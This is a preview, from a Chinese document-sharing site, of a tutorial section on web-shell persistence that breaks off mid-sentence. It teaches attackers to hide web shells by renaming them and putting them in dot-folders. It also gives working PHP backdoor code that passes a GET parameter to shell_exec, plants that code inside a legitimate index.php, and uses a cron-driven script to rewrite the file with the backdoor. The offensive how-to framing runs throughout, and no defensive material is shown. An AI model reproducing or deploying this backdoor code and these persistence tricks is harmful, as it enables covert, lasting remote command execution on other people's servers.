Web Shell后门攻击:Web Shell的编写与部署_(10).WebShell的持久化策略.docxVIP

Web Shell后门攻击:Web Shell的编写与部署_(10).WebShell的持久化策略.docx

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多

PAGE1

PAGE1

WebShell的持久化策略

1.引言

在前一节中,我们讨论了WebShell的基本概念、功能和一些常见的使用场景。本节将重点探讨WebShell的持久化策略,即如何在服务器上保持长期的控制权,即使服务器进行了重启或某些安全措施被实施。持久化是WebShell攻击中非常重要的一环,攻击者通过各种手段确保WebShell能够长期存在,以便随时进行进一步的操作。

2.常见的持久化方法

2.1文件隐藏

文件隐藏是最基本的持久化策略之一。攻击者通过将WebShell文件隐藏在服务器的某个目录中,使其不易被发现。常见的隐藏方法包括:

文件名混淆:使用看似无害的文件名,如index.php、theme.css、image.jpg等。

目录隐藏:将WebShell文件放在服务器的临时目录、备份目录或其他不常检查的目录中。

文件属性修改:将WebShell文件的属性修改为隐藏文件或系统文件。

例子:文件名混淆

假设攻击者已经上传了一个WebShell文件shell.php,为了隐藏它,可以将其重命名为index.php:

?php

//shell.php

//攻击者将文件重命名为index.php

rename(shell.php,index.php);

?

2.2文件夹隐藏

攻击者可以通过在服务器上创建隐藏文件夹来存放WebShell文件。隐藏文件夹通常使用.开头的名称,这样在某些文件管理器中不会显示。

例子:创建隐藏文件夹

?php

//创建隐藏文件夹.myhidden

$hiddenDir=.myhidden;

if(!file_exists($hiddenDir)){

mkdir($hiddenDir,0777,true);

}

//将WebShell文件移动到隐藏文件夹

rename(shell.php,$hiddenDir./index.php);

?

2.3植入合法文件中

攻击者可以将WebShell代码植入到合法的Web应用程序文件中,使其在正常的文件中运行,从而避免被安全扫描工具发现。

例子:植入合法文件

假设服务器上有一个合法的PHP文件index.php,攻击者可以在其中植入WebShell代码:

?php

//index.php

//正常的Web应用程序代码

echoWelcometoourwebsite!;

//植入WebShell代码

if(isset($_GET[cmd])){

$cmd=$_GET[cmd];

$output=shell_exec($cmd);

echopre$output/pre;

}

?

2.4使用WebShell管理器

WebShell管理器是一种高级的持久化手段,它允许攻击者通过一个中心化的界面管理多个WebShell。常见的WebShell管理器有C99、r57等。

例子:使用C99管理器

假设攻击者已经上传了一个C99管理器,可以通过以下代码访问和管理多个WebShell:

?php

//c99.php

include(index.php);//包含植入了WebShell的合法文件

include(.myhidden/index.php);//包含隐藏文件夹中的WebShell

//C99管理器的界面代码

echoh1C99ShellManager/h1;

echoahref=index.php?cmd=lsListFiles/a;

echoahref=.myhidden/index.php?cmd=lsListHiddenFiles/a;

?

2.5使用定时任务

定时任务是一种在服务器上定期执行特定命令的方法。攻击者可以通过设置定时任务来定期执行WebShell代码,从而保持持久化。

例子:设置定时任务

假设攻击者已经获得了服务器的root权限,可以通过以下步骤设置定时任务:

编写一个脚本文件cron.php:

?php

//cron.php

file_put_contents(/var/www/html/index.php,?phpif(isset(\$_GET[cmd])){\$cmd=\$_GET[cmd];\$output=shell_exec(\$cmd);echo\pre\$output/pre\;}?);

?

编辑crontab文件,添加定时任务:

#编辑crontab文件

crontab-e

#添加定时任务,每5分钟执

您可能关注的文档

文档评论(0)

kkzhujl + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档